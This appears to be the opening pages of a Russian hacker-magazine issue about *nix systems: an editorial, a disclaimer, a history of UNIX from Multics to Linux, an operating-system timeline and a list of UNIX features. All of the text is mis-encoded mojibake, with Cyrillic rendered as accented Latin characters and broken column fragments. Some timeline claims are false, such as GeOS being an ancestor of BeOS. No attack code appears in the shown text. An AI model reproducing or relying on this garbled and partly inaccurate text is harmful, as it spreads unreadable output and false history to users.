




Ä
åñÿòü ëåò íàçàä *nix íå áûë øèðîêîðàñïðîñòðàíåííîé, íàðîäíîé ñèñòåìîé. Ñëîæíûå,
ãðîìîçäêèå *nix'ñû èñïîëüçîâàëèñü òîëüêî â êà÷åñòâå ñåðâåðîâ, à ïîäõîäèòü ê íèì
îñìåëèâàëñÿ ëèøü ãðàìîòíûé ñèñàäìèí. Ïî ñðàâíåíèþ ñ Windows (ãëþê íà ãëþêå â òî âðåìÿ),

UNIX îòëè÷àëñÿ ñâîåé ñòðîãîñòüþ, ôóíêöèîíàëüíîñòüþ è... íåïðèñòóïíîñòüþ. Òåïåðü âñå èçìåíèëîñü.
Àðõèòåêòóðà UNIX ñ îãðîìíîé ñêîðîñòüþ êëîíèðóåòñÿ, ðàçðàáîò÷èêè ñîçäàþò äëÿ ïîëüçîâàòåëåé
êðàñèâûå ãðàôè÷åñêèå îáîëî÷êè, óïðîùàþò ïðîöåññ óñòàíîâêè. Äåâèç ïîñëåäíèõ íåñêîëüêèõ ëåò:
"Äàåøü Linux íà äåêñòîïå!" ß âåðþ, ÷òî â êîíöå êîíöîâ öåëü áóäåò äîñòèãíóòà: â øêîëàõ, îôèñàõ è
ãîñó÷ðåæäåíèÿõ Linux ìîæåò íàäîëãî îáîñíîâàòüñÿ íà äåñêòîïàõ. ×òî áû íè ãîâîðèëà Mirosoft, íî open
source *nix-ñèñòåìû äåøåâëå è âûãîäíåå, ÷åì Windows.

Âðîäå áû, âñå äîâîëüíû. Íî, êàê èçâåñòíî, ÷åì áîëüøå â ñèñòåìå ðþøå÷åê, òåì áîëüøå âïîñëåäñòâèè
îáíàðóæèâàåòñÿ â íåé áàãîâ è íåäîðàáîòîê. Ïîýòîìó user friendly-äèñòðèáóòèâû âñå ÷àùå ñòàíîâÿòñÿ
ìèøåíüþ äëÿ õàêåðñêèõ àòàê. Äà è ðîñò èíòåðåñà ê *nix-ñèñòåìàì äàåò î ñåáå çíàòü: bugtraq ïåñòðèò
íîâûìè Þíèêñ-óÿçâèìîñòÿìè êóäà ÿð÷å, ÷åì âèíäîâûìè. 

Â ýòîì íîìåðå ìû ïîñòàðàëèñü ðàçâåÿòü ìèô î íåïðèñòóïíîñòè *nix-ñèñòåì, ïî êðàéíåé ìåðå, â
ñåãîäíÿøíåì èõ âèäå. Íî íåñìîòðÿ íà îáèëèå ýêñïëîèòîâ, DoS'åðîâ, àâòîðóòåðîâ, ñêàíåðîâ è äðóãîãî
îáëåã÷àþùåãî ðàáîòó âçëîìùèêà ñîôòà, âñå íå òàê ïå÷àëüíî. Ãðàìîòíàÿ íàñòðîéêà ñèñòåìû â äåâÿòè
ñëó÷àÿõ èç äåñÿòè - çàëîã åå áåçîïàñíîñòè. Ïðè÷åì, ÷òîáû ïðàâèëüíî ñêîíôèãóðèðîâàòü *nix íå íóæíî
áûòü ñåìè ïÿäåé âî ëáó: äîñòàòî÷íî óñâîèòü îñíîâíûå ïðèíöèïû, êîòîðûå ìû ïîïûòàëèñü äîõîä÷èâî
èçëîæèòü â ðàçäåëå "Çàùèòà".
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Ìíåíèå ðåäàêöèè íå âñåãäà ñîâïàäàåò 
ñ ìíåíèåì àâòîðîâ. Âñå ìàòåðèàëû 
ýòîãî íîìåðà ïðåäñòàâëÿþò ñîáîé ëèøü
èíôîðìàöèþ ê ðàçìûøëåíèþ. Ðåäàêöèÿ íå
íåñåò îòâåòñòâåííîñòè çà íåçàêîííûå
äåéñòâèÿ, ñîâåðøåííûå ñ åå èñïîëüçîâàíèåì,
è âîçìîæíûé ïðè÷èíåííûé óùåðá.
Çà ïåðåïå÷àòêó íàøèõ ìàòåðèàëîâ 
áåç ñïðîñà - ïðåñëåäóåì.
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ïî äåëàì ïå÷àòè, òåëåðàäèîâåùàíèþ 
è ñðåäñòâàì ìàññîâûõ êîììóíèêàöèé 
ÏÈ ¹ 77-12014 îò 4 ìàðòà 2002 ã.

Òèðàæ 42 000 ýêçåìïëÿðîâ. 
Öåíà äîãîâîðíàÿ.
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ÍÀ×ÀËÎ ÍÀ×ÀË: ÎÒ
BESYS ÄÎ MULTICS

UNIX áûë ðàçðàáîòàí àìå-
ðèêàíñêîé ëàáîðàòîðèåé Bell
Labs, âõîäèâøåé â ñîñòàâ

êîíòîðû Bell Systems. Èñòîðèÿ ýòîé êîìïà-
íèè â îáëàñòè èíôîðìàöèîííûõ òåõíîëîãèé
íà÷àëàñü â 1957 ãîäó, êîãäà åå ñîòðóäíèêàì
ïîòðåáîâàëàñü îïåðàöèîííàÿ ñèñòåìà äëÿ
ñîáñòâåííîãî âû÷èñëèòåëüíîãî öåíòðà, â
êîòîðîì èñïîëüçîâàëàñü ÝÂÌ âòîðîãî ïîêî-
ëåíèÿ. Îò òàêîé ñèñòåìû òðåáîâàëîñü àâòî-
ìàòèçèðîâàòü çàïóñê íåêîòîðûõ ïðîãðàìì è
óïðàâëåíèå âû÷èñëèòåëüíûìè ðåñóðñàìè.
Íîâîèñïå÷åííóþ ñèñòåìó íàçâàëè BESYS.
Ðàçóìååòñÿ, îíà áûëà ñîâåðøåííî íå ïîõî-
æà íà ñîâðåìåííûå îïåðàöèîííûå ñèñòåìû,
è ïðèìåíÿòü åå ìîãëè ðàçâå ÷òî ñàìè ðàçðà-
áîò÷èêè äëÿ ñîáñòâåííûõ öåëåé. À â òå âðå-
ìåíà áîëüøå íè÷åãî è íå òðåáîâàëîñü �
êîìïüþòåðîâ áûëî ìàëî, è ðàáîòàëè ñ íèìè
ëèøü ïðîãðàììèñòû è ó÷åíûå, à óæ î íåîá-
õîäèìîñòè êîìïüþòåðà äîìà èëè â îôèñå
íèêòî íå çàäóìûâàëñÿ. Â 1964 ãîäó êîíòîðà
ïðèîáðåëà áîëåå ìîùíóþ ìàøèíó òðåòüåãî
ïîêîëåíèÿ, è òóò æå âîçíèê âîïðîñ î íîâîé
îñè, òàê êàê ñòàðàÿ ãîäèëàñü ëèøü äëÿ òîé
ìàøèíû, äëÿ êîòîðîé åå äåëàëè. Íèêàêèõ
îáùèõ ñòàíäàðòîâ ñîâìåñòèìîñòè òîãäà íå
ñóùåñòâîâàëî. Äëÿ ó÷àñòèÿ â ðàçðàáîòêå
îïåðàöèîííîé ñèñòåìû áûëè ïðèãëàøåíû
ñïåöèàëèñòû èç Ìàññà÷óñåòñêîãî èíñòèòóòà
è êîðïîðàöèè General Electric. È çàêèïåëà
ðàáîòà íàä íîâîé îñüþ, íàçâàííîé âïîñëåä-
ñòâèè Multics (Multiplexed Information and
Computing System), � ìíîãîçàäà÷íîé, ìíîãî-
ïîëüçîâàòåëüñêîé ÎÑ ñ ðàçäåëåíèåì âðå-
ìåíè è ïîëüçîâàòåëüñêèì èíòåðôåéñîì. Ñ
ïîìîùüþ íåå íåñêîëüêî ïîëüçîâàòåëåé îä-
íîâðåìåííî ìîãëè ïîëó÷àòü äîñòóï ê âû-
÷èñëèòåëüíûì ðåñóðñàì. Ïðè ñîçäàíèè áû-
ëè èñïîëüçîâàíû íàðàáîòêè Ìàññà÷óñåòñêî-
ãî èíñòèòóòà, ðåàëèçîâàííûå ðàíåå â äðó-
ãîé ýêñïåðèìåíòàëüíîé îñè � CTSS. Â èòî-
ãå, ïîëó÷èëàñü äîñòàòî÷íî ñëîæíàÿ â èñ-
ïîëüçîâàíèè, ãðîìîçäêàÿ è äîðîãàÿ îïåðà-
öèîíêà, â êîòîðîé, ê òîìó æå, ñóùåñòâîâàë
ðÿä îøèáîê, ñâÿçàííûõ, â îñíîâíîì, ñ íåó-
äà÷íî âûáðàííûì ÿçûêîì ïðîãðàììèðîâà-
íèÿ PL/I. Êðîìå ýòîãî, ñðåäè ðàçðàáîò÷è-
êîâ âîçíèêëè íåêîòîðûå îðãàíèçàöèîííûå
ðàçíîãëàñèÿ. Êîðî÷å ãîâîðÿ, ïðîåêò çàã-
íóëñÿ. Íî îñòàâèë ïîñëå ñåáÿ ðàçëè÷íûå
èäåè, â ÷àñòíîñòè, èäåè ïî ôàéëîâîé ñèñ-

òåìå, êîòîðûå áûëè èñïîëüçîâàíû â äàëü-
íåéøèõ ðàçðàáîòêàõ.

Ê ×ÅÌÓ ÏÐÈÂÎÄÈÒ ÃÅÉÌÅÐÑÒÂÎ,
ÈËÈ ÍÀ×ÀËÎ «ÝÐÛ UNIX»

Ïîñëå çàêðûòèÿ ïðîåêòà ñîòðóäíèêè Bell
Labs íà íåêîòîðîå âðåìÿ ïåðåñåëè íà ñîç-
äàííóþ êîìïàíèåé General Electrics ñèñòåìó
GECOS. Óçêèå âîçìîæíîñòè ýòîé ñèñòåìû íè-
êîãî èç ðàáîòíèêîâ ëàáîðàòîðèè íå óñòðàè-
âàëè. È â ýòî âðåìÿ, êàê ãëàñèò ëåãåíäà ñîç-
äàíèÿ UNIX, îäèí èç ðàçðàáîò÷èêîâ, ïðèíè-
ìàâøèõ àêòèâíîå ó÷àñòèå â ïðîåêòå Multics,
Êåííåò Òîìïñîí, ñîçäàë ïðîñòåíüêóþ ïî òåì
âðåìåíàì èãðóøêó � Space Travel, êîòîðàÿ, ê
ñîæàëåíèþ, íå ìîãëà íîðìàëüíî ðàáîòàòü íà
òåõ ìàøèíàõ, ÷òî èìåëèñü â ëàáîðàòîðèè.
Êîìïüþòåðû âåäü ïðèìåíÿëèñü ëèøü äëÿ íà-
ó÷íûõ çàäà÷, è íèêòî íå äóìàë òîãäà îá èõ èñ-
ïîëüçîâàíèè â êà÷åñòâå èãðîâûõ àâòîìàòîâ.
Ïî îôèöèàëüíîé âåðñèè, Òîìïñîí è åãî êîë-
ëåãà Äåíèñ Ðèò÷è íàïèñàëè íà÷àëüñòâó çàÿâ-
êó íà ïðèîáðåòåíèå áîëåå ìîùíîé ìàøèíû
äëÿ ðàçðàáîòêè íîâîé îïåðàöèîííîé ñèñòå-
ìû. Åñëè âåðèòü ëåãåíäå, èì âñåãî ëèøü õî-
òåëîñü íîðìàëüíî ïîèãðàòü â ñâîå òâîðåíèå
:). Çàÿâêó, ðàçóìååòñÿ, îòêëîíèëè, è ïðèø-
ëîñü íîâîÿâëåííûì ãåéìåðàì äîâîëüñòâî-
âàòüñÿ íåáîëüøèì (ïî òîãäàøíèì ìåðêàì)
êîìïüþòåðîì PDP-7, õîòÿ îí âïîëíå ïîäõî-
äèë ïî îáúåìó îïåðàòèâíîé ïàìÿòè, äà ê òî-
ìó æå îáëàäàë ãðàôè÷åñêèì äèñïëååì. Òóò-
òî è ïðèøëà èì â ãîëîâû ìûñëü èñïîëüçî-
âàòü ýòó ìàøèíó äëÿ íàïèñàíèÿ ñîáñòâåííîé
óíèâåðñàëüíîé îïåðàöèîíêè (à ìîæåò, ÷òîáû
ïðîñòî îïðàâäàòüñÿ ïåðåä íà÷àëüñòâîì â
ïîòðåáíîñòè áîëåå ìîùíîé ìàøèíû :)). Òîìï-
ñîí ðåøèë âîïëîòèòü â íåâèäàííîé äîñåëå
îïåðàöèîíêå âñå ñàìûå óäà÷íûå èäåè, êîòî-
ðûå ïîÿâèëèñü ïðè ðàçðàáîòêå Multics, à
èìåííî: èåðàðõè÷åñêàÿ äðåâîâèäíàÿ ñòðóêòó-
ðà ôàéëîâîé ñèñòåìû, êîíöåïöèè ôàéëà è
ïðîöåññà, êîìàíäíûé èíòåðïðåòàòîð äëÿ
ïîëüçîâàòåëÿ, ìíîãîïîëüçîâàòåëüñêèé ðå-
æèì ðàáîòû (ìîãëè ðàáîòàòü äâà ïîëüçîâàòå-
ëÿ îäíîâðåìåííî) è ìíîãî ÷åãî åùå. Ðàáîòà
øëà òàêèì îáðàçîì: íà èìåâøåìñÿ äî ýòîãî
êîìïüþòåðå General Electric 635 ïèñàëè àññå-
ìáëåðíûé êîä è ïîòîì ñ ïîìîùüþ ïåðôî-
ëåíòû ïåðåíîñèëè íà PDP-7, íà êîòîðîé âïîñ-
ëåäñòâèè îòëàæèâàëè. Òàê áûëî ïîëó÷åíî
ïðîñòåíüêîå ÿäðî áóäóùåé ñèñòåìû, òåêñòî-
âûé ðåäàêòîð, íåñêîëüêî óòèëèò è ñîáñòâåí-
íûé Àññåìáëåð. Ïðè ýòîì îñè òðåáîâàëîñü

»

Roman aka Docent (d0cent@rambler.ru)

È ñòîðèÿ *nix-ñèñòåì íàñ÷èòûâàåò áîëåå 30 ëåò. Äàâàé ñîâåðøèì íåáîëüøîå
ïóòåøåñòâèå âî âðåìåíè ê ñàìûì èñòîêàì ýòîé îñè, â òî âðåìÿ, êîãäà

êîìïû áûëè áîëüøèå, à ñîáñòâåííóþ ÎÑ íå ïèñàë ðàçâå ÷òî ëåíèâûé
ïðîãðàììåð...
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4 Èñòîðèÿ UNIX
Êàê ýòî áûëî...
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Îñîáåííîñòè àðõèòåêòóðû UNIX
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âñåãî 12 êèëîáàéò îïåðàòèâíîé ïàìÿ-
òè (ñòîëüêî âåñèëî ÿäðî ñèñòåìû), 8
êèëîáàéò çàíèìàëè ïðîãðàììû è óòè-
ëèòû, à ìàêñèìàëüíî äîïóñòèìûé ðàç-
ìåð ôàéëà ñîñòàâëÿë 64 êèëîáàéòà.
Ïîñëå ýòîãî ìîæíî áûëî ïîëíîñòüþ
ïðîäîëæàòü ðàáîòó óæå íà ñàìîé
PDP-7 â ñîçäàâàåìîé îïåðàöèîíêå.
Ïåðâîíà÷àëüíîå íàçâàíèå, êîòîðîå
áûëî ïðèäóìàíî äëÿ íîâîèñïå÷åííî-
ãî ïðîäóêòà, � UNICS (Uniplexed

Information and Computing System). È
íåìíîãî ïîçäíåå áûëî ñîêðàùåíî äî
ïðèâû÷íîãî íàì UNIX (êàêîìó ïðîã-
ðàììèñòó çàõî÷åòñÿ ïèñàòü ëèøíþþ
áóêâó â ñëîâå :)). Âîò òàê, ñîçâó÷íî ñ
áåçâðåìåííî ñãèíóâøåé Multics, Êåí è
Äåíèñ íàçâàëè ñâîå òâîðåíèå, äàæå è
íå ïîäîçðåâàÿ òîãäà, ÷òî òàêîå æå
ñîçâó÷èå â íàçâàíèå áóäóò ïðèîáðå-
òàòü ïðàêòè÷åñêè âñå áóäóùèå êëîíû
ýòîé ëåãåíäàðíîé îïåðàöèîíêè. Ïðîè-

çîøëî ýòî â 1969 ãîäó, à îôèöèàëü-
íîé äàòîé ðîæäåíèÿ UNIX è íà÷àëîì
òàê íàçûâàåìîé «ýðû UNIX» ñòàëî 
1 ÿíâàðÿ 1970 ãîäà.

Â 1971 ãîäó ëàáîðàòîðèè Bell Labs
ïîòðåáîâàëàñü ñèñòåìà îáðàáîòêè
òåêñòîâ, è â êà÷åñòâå ïëàòôîðìû äëÿ
íåå áûë âûáðàí ïîëþáèâøèéñÿ âñåé
êîíòîðå UNIX. Äà è ê òîìó âðåìåíè
óäàëîñü ðàçæèòüñÿ áîëåå ìîùíîé
ìàøèíîé � PDP-11. Â ýòî âðåìÿ Òîìï-
ñîí ðàáîòàë íàä êîìïèëÿòîðîì ÿçûêà
Fortran, íî òî, ÷òî â èòîãå ó íåãî ïîëó-
÷èëîñü, áûëî íàçâàíî ÿçûêîì B, êî-
òîðûé íåìíîãî ïîçäíåå ïðåâðàòèëñÿ
âî âñåì íàì õîðîøî èçâåñòíûé C. Â
1973 ãîäó UNIX áûë ïåðåïèñàí íà
ÿçûê C, ÷òî ñäåëàëî ñèñòåìó ïîë-
íîñòüþ ïåðåíîñèìîé. À â 1974 èñõîä-
íèêè UNIX ñòàëè ðàñïðîñòðàíÿòüñÿ â
óíèâåðñèòåòàõ çà ñèìâîëè÷åñêóþ
ïëàòó, ÷òî îáåñïå÷èëî äàëüíåéøóþ
ïîïóëÿðíîñòü ýòîé îñè, à òàêæå íà÷à-
ëî âîâëåêàòü â ðàçðàáîòêó âñå íîâûõ
è íîâûõ ðàçðàáîò÷èêîâ. Íåáîëüøàÿ
öåíà, ïîíÿòíûé è äîñòóïíûé äëÿ èçó-
÷åíèÿ êîä íà C, ãèáêîñòü è ïåðåíîñè-
ìîñòü, âîçìîæíîñòü íàñòðîèòü îñü
ïîä ëþáóþ êîíôèãóðàöèþ ñäåëàëè
åå ïðèâëåêàòåëüíîé äëÿ áîëüøîãî
êîëè÷åñòâà íå òîëüêî ïðîôåññèîíà-
ëîâ, íî è ëþáèòåëåé. Òàêèì îáðàçîì,
áûëè ðàçðàáîòàíû âåëèêèé òåêñòî-
âûé ðåäàêòîð vi (Áèëë Äæîé), âîç-
ìîæíîñòü ðàáîòû ñ âèðòóàëüíîé ïà-
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Íîâûå ðå-
äàêöèè
UNIX ðîæ-
äàëèñü
î÷åíü ÷àñ-
òî. Âñåãî çà
ïåðèîä ñ
1971 ãîäà ïî
1979 ãîä
ïîÿâèëîñü
11 ðåäàêöèé!

Îò Multics
UNIX óíàñ-
ëåäîâàë 
èåðàðõè÷åñ-
êóþ äðåâî-
âèäíóþ
ñòðóêòóðó
ôàéëîâîé
ñèñòåìû,
êîíöåïöèþ
ôàéëà è
ïðîöåññà,
êîìàíäíûé
èíòåðïðåòà-
òîð äëÿ
ïîëüçîâàòå-
ëÿ, ìíîãî-
ïîëüçîâà-
òåëüñêèé
ðåæèì ðàáî-
òû�

1957 � ïåðâàÿ îïåðàöèîííàÿ ñèñòåìà äëÿ ñîáñòâåííîãî âû÷èñëè-
òåëüíîãî öåíòðà Bell Labs � BESYS.
1960 � ïåðâûå âåðñèè DOS îò IBM, à òàêæå ñèñòåìû GECOS è CTSS.
1965 � ðàçðàáîòêà îïåðàöèîííîé ñèñòåìû Multics êîìïàíèÿìè Bell
Labs è General Electric.
1969 � ïîÿâëåíèå UNICS (ïîçäíåå - UNIX).
1970 � îôèöèàëüíîå íà÷àëî «ýðû UNIX», ïîÿâëåíèå îòå÷åñòâåííûõ
îñåé � ÈÏÌ è Äóáíà.
1971 � ïîÿâëåíèå îòå÷åñòâåííîãî àíàëîãà DOS � ÄÎÑ ÅÑ, âûïóñê
âòîðîé ðåäàêöèè UNIX, ïåðåïèñàííîé ñ Àññåìáëåðà íà B.
1972 � òðåòüÿ ðåäàêöèÿ UNIX, ïîÿâëåíèå ÿçûêà Ñ, ïîÿâëåíèå VM
(VM/370).
1973 � ÷åòâåðòàÿ ðåäàêöèÿ UNIX, ïîëíîñòüþ ïåðåïèñàííàÿ íà Ñ.
1974 � ïÿòàÿ ðåäàêöèÿ UNIX, áåñïëàòíîå ðàñïðîñòðàíåíèå èñõîäíè-
êîâ è òî ñàìîå âðåìÿ, êîãäà UNIX ïîøåë â ìàññû.
1975 � øåñòàÿ ðåäàêöèÿ UNIX (UNIX V6), íà÷àëî êîììåð÷åñêîãî
ðàñïðîñòðàíåíèÿ.
1976 � ïîÿâëåíèå BSD.
1977 � UNIX V/32, ïîÿâëåíèå òðåòüåé ðåäàêöèè BSD, â îñíîâó êîòî-
ðîé ëåã UNIX V/32.
1978 � î÷åðåäíàÿ îòå÷åñòâåííàÿ îïåðàöèîíêà � ÂÊ 1010.
1980 � íà÷àëî áåñïëàòíîãî ðàñïðîñòðàíåíèÿ BSD (ïîçäíåå -
FreeBSD), ïîÿâëåíèå îïåðàöèîíêè QDOS.
1981 � ïîÿâëåíèå ïåðâîé âåðñèè PC-DOS.
1982 � ïîÿâëåíèå SunOS (ïîçäíåå - Solaris), âûõîä UNIX System III,
ïîÿâëåíèå MS-DOS, ïîÿâëåíèå îòå÷åñòâåííîé îïåðàöèîíêè - ÑÂÌ.
1983 � ïîÿâëåíèå SuperDOS, à ïîçäíåé, îïåðàöèîííîé ñèñòåìû
Novell NetWare.
1984 � âûïóñê âòîðîãî ðåëèçà UNIX System V, ïîÿâëåíèå Xenix, ïî-
ÿâëåíèå MacOS.
1985 � ïîÿâëåíèå MS Windows 1.0.
1986 � ïîÿâëåíèå îïåðàöèîíêè Apple Desctop (ïî íåêîòîðûì âîç-
ìîæíîñòÿì ñðàâíèìà ñ Windows 95!).
1987 � òðåòèé ðåëèç UNIX System V, âûõîä OS/2, âûõîä MS Windows
2.0, ïîÿâëåíèå îòå÷åñòâåííîé îñè ñ ãðàôè÷åñêèì èíòåðôåéñîì �
ÃÐÈÑ, ïîÿâëåíèå ïðîñòîé UNIX-ïîäîáíîé îñè Minix êàê ó÷åáíîãî
ïîñîáèÿ ñ îòêðûòûì êîäîì.
1988 � ïîÿâëåíèå GeOS (êëîí MacOS, è ïðåäîê BeOS!).
1990 � ïîÿâëåíèå Windows 3.0.
1991 � âûïóñê ïåðâîé îôèöèàëüíîé âåðñèè Linux.
1993 � ïîÿâëåíèå 32-ðàçðÿäíîé OS/2 (2.1), ïîÿâëåíèå î÷åðåäíîãî
êëîíà MacOS � îñè GsOS.
1994 � ïîÿâëåíèå OS/2 Warp 3.
1995 � ïîÿâëåíèå MS Windows 95 è NT 4.0.
1996 � ïîÿâëåíèå BeOS.
1998 � âûõîä MS Windows 98.
2000 � âûõîä MS Windows 2000.
2001 � âûõîä ïåðâîãî îòå÷åñòâåííîãî äèñòðèáóòèâà Linux � ALT-
Linux, âûõîä MS Windows XP.

ÎÑÍÎÂÍÛÅ ÄÀÒÛ UNIX-ÌÈÐÀ

Êåí Òîìïñîí

Äåíèñ Ðèò÷è



ìÿòüþ (Ïîðêåð è Áàáàîãëó) è ìíîæå-
ñòâî äðóãèõ ïðèìî÷åê. 

Íåìíîãî ïîçäíåé AT&T ðåøèëà âíåñ-
òè íåêîòîðûé ïîðÿäîê â ñòîëü áóðíûé
âûõîä íîâûõ âåðñèé, è â 1982 ãîäó
íåñêîëüêî ïîñëåäíèõ âåðñèé áûëè
îáúåäèíåíû â îäíó, ÷òî ïîëó÷èëî íàç-
âàíèå UNIX System III. Â 1983 ãîäó
âûøëà ïåðâàÿ êîììåð÷åñêàÿ âåðñèÿ
UNIX, êîòîðàÿ íàçûâàëàñü System V. Â
íåé ïîÿâèëèñü òàêèå ïîíÿòèÿ, êàê ìå-
õàíèçì âçàèìîäåéñòâèÿ ïðîöåññîâ, çà-
ìåùåíèå ñòðàíèö è ñåìàôîðû. Ê 1989
ãîäó âûøëà íîâàÿ âåðñèÿ System V
Release 4, âíîâü îáúåäèíèâøàÿ äîñòî-
èíñòâà ïîñëåäíèõ âåðñèé. Ñàìûìè çíà-
÷èòåëüíûìè ôèøêàìè ýòîé âåðñèè
ñòàëè ñîêåòû, ñåòåâàÿ ôàéëîâàÿ ñèñ-
òåìà (NFS) è íîâûå èíòåðïðåòàòîðû
ksh è csh. Â 1993 ãîäó ïðàâà íà UNIX
áûëè ïðîäàíû êîìïàíèè Novell, êîòî-
ðàÿ ïîòîì ïåðåäàëà èõ êîíòîðàì
X/Open è Santa Cruz Operation (SCO). 

Íî ÷òî ýòî ìû âñå î UNIX äà î UNIX?
Âåäü ýòà îñü, îáðåòÿ ïîïóëÿðíîñòü,
ïîëó÷èëà ìíîæåñòâî ïàðàëëåëüíûõ
âåòîê ðàçâèòèÿ, êîòîðûå äî ñèõ ïîð
ðàçâèâàþò êàê ìíîãî÷èñëåííûå êîì-
ïàíèè, òàê è íàðîäíûå óìåëüöû.

BSD, SOLARIS È ÄÐÓÃÈÅ
Îäíîé èç çíà÷èòåëüíûõ âåòâåé

ðàçâèòèÿ UNIX ñòàëà çíàìåíèòàÿ
îñü BSD (Berkley Software
Distribution). Â 1976 ãîäó Òîìïñîí
ïîåõàë â Êàëèôîðíèéñêèé óíèâåð-
ñèòåò, ãäå øåñòîé ðåäàêöèåé UNIX
î÷åíü çàèíòåðåñîâàëèñü àáîðèãåíû.
Ñðåäè íèõ îêàçàëñÿ Áèëë Äæîé. Îí-
òî è ðàçðàáîòàë ñâîþ âåðñèþ UNIX,
çàïèõíóâ â íåå êó÷ó ñîáñòâåííûõ
ïðèìî÷åê, â òîì ÷èñëå êîìïèëÿòîð
Ïàñêàëÿ, è íàçâàâ åå BSD. Â äàëü-
íåéøåì ïðè âìåøàòåëüñòâå ìèíèñ-
òåðñòâà îáîðîíû ÑØÀ (DARPA) â
1980 ãîäó áûë ðàçðàáîòàí ïðîòîêîë
TCP/IP, ÷òî äàëî âîçìîæíîñòü ðàáî-
òû îïåðàöèîíêè â ëîêàëüíîé ñåòêå.
Òàêæå â BSD äîáàâèëñÿ ðåäàêòîð vi
è êîìàíäíûé èíòåðïðåòàòîð C-Shell.
Îñü ðàñïðîñòðàíÿëàñü ïðàêòè÷åñêè
áåñïëàòíî, à áëèæå ê íàøåìó âðå-
ìåíè ìóòèðîâàëà â FreeBSD,
OpenBSD è NetBSD. Áûëà âûïóùåíà
è êîììåð÷åñêàÿ âåðñèÿ BSD/OS äëÿ

IBM-ñîâìåñòèìûõ ìàøèí. 
Òàêæå Áèëë Äæîé îñíîâàë ôèðìó

Sun Microsystems è çàíÿëñÿ ðàçðà-
áîòêîé SunOS, ïîçäíåå ñòàâøåé èç-
âåñòíîé êàê Solaris, äëÿ ñòàíöèè
SPARC, à òàêæå Intel, Pentium Pro è

Power PC. Ýòà îñü ïîçàèìñòâîâàëà
ìíîãîå îò UNIX System V Release 4. À
Solaris ÿâëÿëñÿ, ïî ñóòè, òåì æå
SunOS, íî îáðîñøèì äîïîëíèòåëüíû-
ìè ïðèìî÷êàìè, è, ñàìîå ãëàâíîå, ãðà-
ôè÷åñêèì èíòåðôåéñîì.

Êðîìå BSD è SunOS, ïîÿâèëèñü íà
ñâåò äðóãèå ïîäâèäû UNIX, âûïóñêàå-
ìûå ðàçëè÷íûìè ôèðìàìè. Ñðåäè íèõ
ñòîèò óïîìÿíóòü òàêèå îñè, êàê AIX, âû-
ïóùåííàÿ IBM äëÿ òà÷åê RS/6000, HP-
UX, âûïóùåííàÿ Hewlett Packard äëÿ
ìóëüòèïðîöåññîðíûõ òà÷åê ñ ïîääåðæ-
êîé áîëüøèõ ôàéëîâûõ ñèñòåì, IRIX,
ðàçðàáîòàííàÿ Silicon Graphics äëÿ ãðà-
ôè÷åñêèõ ñòàíöèé è ñóïåðêîìïüþòå-
ðîâ; Digital UNIX (îí æå Tru64 UNIX)
ôèðìû DEC, ïðåäíàçíà÷åííàÿ äëÿ
ìîùíûõ ñåðâåðîâ, ñ ïîääåðæêîé ïðàê-
òè÷åñêè âñåõ ñåòåâûõ èíòåðôåéñîâ è
óëó÷øåííûìè äðàéâåðàìè äëÿ ðàáîòû
ñ âèí÷åñòåðàìè, è ìíîãèå äðóãèå.

ÎÒ MINIX Ê LINUX, ÈËÈ ÊÀÊ
ÐÀÇÂÎÄÈËÈ ÏÈÍÃÂÈÍÎÂ

È âîò, íàêîíåö, äîáðàëèñü ìû è äî
âñåìè íàìè ëþáèìîé Linux. Èñòîðèÿ

Êîìïüþòåð PDP-11 è îñíîâàòåëè UNIX - Òîìïñîí è Ðèò÷è

Ëåãåíäàðíûé Ëèíóñ Òîðâàëüäñ � ñîçäà-
òåëü Linux

Â 1996 ãîäó â ëàáîðàòîðèè Ëîñ Àëàìîñ
áûë ïðîèçâåäåí ýêñïåðèìåíò ïî ðàñ÷åòàì

ÿäåðíîãî âçðûâà, â õîäå êîòîðîãî
ñîåäèíèëè 68 êîìïîâ ñ Linux â îäíó

ñèñòåìó, ÷òîáû îíè ðàáîòàëè êàê îäèí
áîëüøîé ìíîãîïðîöåññîðíûé

ñóïåðêîìïüþòåð. Ñêîðîñòü âû÷èñëåíèé
ýòîé ñèñòåìû äîñòèãëà 19 ìèëëèàðäîâ

äåéñòâèé â ñåêóíäó.
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Ìåíüøå ÷åì
÷åðåç ïîë-
ãîäà ïîñëå
ñâîåãî ïîÿâ-
ëåíèÿ Linux
ðàñïðîñòðà-
íèëñÿ óæå
äàëåêî çà
ïðåäåëàìè
Ôèíëÿíäèè.

Äàæå ìåë-
êîìÿãêèå
îñòàâèëè
ñâîé ñëåä â
ðàçâèòèè
UNIX!
XENIX �
ñîâìåñòíûé
ïðîäóêò
SCO è
Microsoft!

ÈÑÒÎÐÈß UNIX6 ÒÅÎÐÈß

- ýôôåêòèâíàÿ ðåàëèçàöèÿ ìíîãîçàäà÷íîñòè (âûòåñíÿþùàÿ ìíîãî-
çàäà÷íîñòü);
- ìíîãîïîëüçîâàòåëüñêèé ðåæèì;
- íàëè÷èå âñòðîåííûõ ñðåäñòâ çàùèòû èíôîðìàöèè;
- âèðòóàëüíàÿ ïàìÿòü è ñâîïèíã;
- åäèíàÿ èåðàðõè÷åñêàÿ ôàéëîâàÿ ñèñòåìà, èìåþùàÿ äðåâîâèäíóþ
ñòðóêòóðó íåçàâèñèìî îò êîëè÷åñòâà è òèïà ôèçè÷åñêèõ íîñèòåëåé
èíôîðìàöèè, óñòàíîâëåííûõ â ñèñòåìå (êàæäûé íîñèòåëü ÿâëÿåòñÿ
êàòàëîãîì); â Linux äàæå äðóãèå ôàéëîâûå ñèñòåìû, èìåþùèåñÿ íà
ìàøèíå, ÿâëÿþòñÿ îòäåëüíûìè êàòàëîãàìè;
- óíèôèêàöèÿ îïåðàöèé ââîäà/âûâîäà;
- ïåðåíîñèìîñòü ñèñòåìû áëàãîäàðÿ èñïîëüçîâàíèþ ÿçûêà Ñ;
- êýøèðîâàíèå ôèçè÷åñêîãî äèñêà äëÿ óâåëè÷åíèÿ ñêîðîñòè äîñòó-
ïà ê äàííûì;
- ðàçíîîáðàçíûå ñðåäñòâà âçàèìîäåéñòâèÿ ïðîöåññîâ;
- ìîùíûé è ãèáêèé ïîëüçîâàòåëüñêèé èíòåðôåéñ;
- ìîùíûé êîìàíäíûé ÿçûê;
- îòêðûòûé êîä êàê ñàìîé ñèñòåìû, òàê è áîëüøèíñòâà ïðîãðàìì äëÿ
íåå;
- áåñïëàòíîå ðàñïðîñòðàíåíèå áîëüøèíñòâà UNIX-ñèñòåì;
- áîëüøîå êîëè÷åñòâî áåñïëàòíîãî è êà÷åñòâåííîãî ñîôòà.

